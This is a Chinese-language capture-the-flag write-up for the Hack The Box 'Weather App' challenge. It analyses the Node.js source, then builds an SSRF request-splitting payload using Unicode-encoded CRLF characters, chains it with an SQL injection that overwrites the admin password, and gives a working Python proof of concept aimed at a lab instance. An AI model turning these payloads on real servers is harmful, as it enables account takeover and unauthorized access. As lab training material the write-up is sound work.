HTB之Weather App

0x01 挑战说明

1
2
CHALLENGE DESCRIPTION
A pit of eternal darkness, a mindless journey of abeyance, this feels like a never-ending dream. I think I'm hallucinating with the memories of my past life, it's a reflection of how thought I would have turned out if I had tried enough. A weatherman, I said! Someone my community would look up to, someone who is to be respected. I guess this is my way of telling you that I've been waiting for someone to come and save me. This weather application is notorious for trapping the souls of ambitious weathermen like me. Please defeat the evil bruxa that's operating this website and set me free! 🧙‍♀️

0x02 收集信息

打开页面,没有找到什么可利用的信息。

image-20210504205548305

下载所需的文件,里面有此天气程序的源代码和一个docker容器,我们可以在linux上运行此docker容器,然后在127.0.0.1:1337本地访问,以便测试。

![image-20210504210303652](../imgs/HTB之Weather App/image-20210504210303652.png)

首先要摸清楚该应用程序是如何工作的,才有可能快速找到漏洞所在。

一个个看,首先是helpers/HttpHelpers.js文件:

![image-20210504210947011](../imgs/HTB之Weather App/image-20210504210947011.png)

此文件有个HttpGet()函数,作用是接收一个url并发起一个请求,然后对返回的数据进行处理。

然后是helpers/WeatherHelpers.js文件:

![image-20210504211255684](../imgs/HTB之Weather App/image-20210504211255684.png)

此文件定义了一个getWeather函数,该函数调用了HttpGet(url)函数,作用是访问了一个api,并接收处理返回的数据,其中有几个变量,endpoint city country,留意这几个变量,看是否可以注入恶意数据。

查看routes/index.js

发现代码里面有四条可用路由,我们可以知道这是一个应用了Express的Node.js的应用程序:

![image-20210504212025235](../imgs/HTB之Weather App/image-20210504212025235.png)

![image-20210504212038498](../imgs/HTB之Weather App/image-20210504212038498.png)

![image-20210504212051089](../imgs/HTB之Weather App/image-20210504212051089.png)

![image-20210504212101328](../imgs/HTB之Weather App/image-20210504212101328.png)

查看一下路由/register的代码:

![image-20210504212928868](../imgs/HTB之Weather App/image-20210504212928868.png)

发现如果想要注册一个用户必须满足两个条件:

  1. 必须是post请求提交
  2. post请求必须来自服务器端

留意条件二,说明我们利用SSRF来攻破这个应用,我们需要注意哪些地方可以利用SSRF。

查看路由/login的代码:

![image-20210504213001294](../imgs/HTB之Weather App/image-20210504213001294.png)

我们可以知道以下几个信息:

  1. post方式访问
  2. admin用户登录可以访问/app/flag页面,获取flag

这时候,我们就会想到注册一个admin用户,然后登录。但是admin用户很可能已经存在,我们需要继续往下看。

查看/js/目录里的两个文件:

![image-20210504214124771](../imgs/HTB之Weather App/image-20210504214124771.png)

里面定义了一些常量和调用了上面的getWeather()函数,跳过。

查看views/database.js文件:

先看migrate()函数

![image-20210504214510053](../imgs/HTB之Weather App/image-20210504214510053.png)

定义username字段的时候用了UNIQUE,所以用户名不能重复,且在创建该表的时候就已经创建了一个admin用户。密码经过使用了随机的32字节转换成16进制后存放进数据库,所以爆破密码是不现实的。

再看register()函数:

![image-20210504215556804](../imgs/HTB之Weather App/image-20210504215556804.png)

该函数在使用sql语句的时候,没有使用 “ ?”参数化查询,说明可以我们可以在注册用户的时候实施恶意注入攻击。

再看isAdmin()函数:

![image-20210504215942402](../imgs/HTB之Weather App/image-20210504215942402.png)

显而易见,该函数的功能是判断登录的时候用户是否admin,在查询过程中使用了参数化查询,也消除了恶意字符,没有利用价值。

由上面可知,该应用程序的工作逻辑是这样的:

main.js——>调用getWeather()——>getWeather()调用Httpget()并传递参数api,用来发出GET请求。

0x03 思路

我们将采用SSRF攻击该程序,利用点显然在这里。

![image-20210504221823033](../imgs/HTB之Weather App/image-20210504221823033.png)

如何构造一个有效的payload发起请求是关键。

我们可以尝试通过截断字符来发出额外的http请求,而且Node 8的http模块很容易通过Request Splitting受到SSRF的攻击。

1
2
3
4
空格 编码为 		  		\u0120 
\r 编码为 \u010D
\n 编码为 \u010A
字符 “ 和 ” 必须经过URL编码。

0x04 构造Payload

初步构造的url效果为:

1
2
3
4
5
6
7
8
9
10
11
12
GET / HTTP/1.1
Host: 127.0.0.1

POST /register HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=admin&password=admin

GET / HTTP/1.1
Host: 127.0.0.1

该payload还无法产生威胁,根据我上面获取到的信息,register()函数是可以进行SQL注入攻击的,结合SQL攻击。

使username为 admin

password为 1234') ON CONFLICT(username) DO UPDATE SET password = 'admin';--

会产生如下效果:

1
INSERT INTO users (username, password) VALUES ('admin', 1337') ON CONFLICT(username) DO UPDATE SET password = 'admin';--')

如果用户名冲突,密码将更新为admin。

我们可以构造如下url:

1
2
3
4
5
6
7
8
9
10
11
12
GET / HTTP/1.1
Host: 127.0.0.1

POST /register HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=admin&password=1234') ON CONFLICT(username) DO UPDATE SET password = 'admin';--

GET / HTTP/1.1
Host: 127.0.0.1

0x05 编写POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = 'http://138.68.182.108:31521'


username = 'admin'
password = "111') ON CONFLICT(username) DO UPDATE SET password = 'admin';--"

parsedUsername = username.replace(" ","\u0120").replace("'", "%27").replace('"', "%22")
parsedPassword = password.replace(" ","\u0120").replace("'", "%27").replace('"', "%22")
contentLength = len(parsedUsername) + len(parsedPassword) + 19
endpoint = '127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010A\
POST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120\
application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120'+str(contentLength)+'\u010D\
\u010A\u010D\u010Ausername='+parsedUsername+'&password='+parsedPassword+'\u010D\u010A\u010D\u010A\
GET\u0120'
r = requests.post(url + '/api/weather',json={'endpoint':endpoint,'city':'lol','country':'lol'})

![image-20210504230206777](../imgs/HTB之Weather App/image-20210504230206777.png)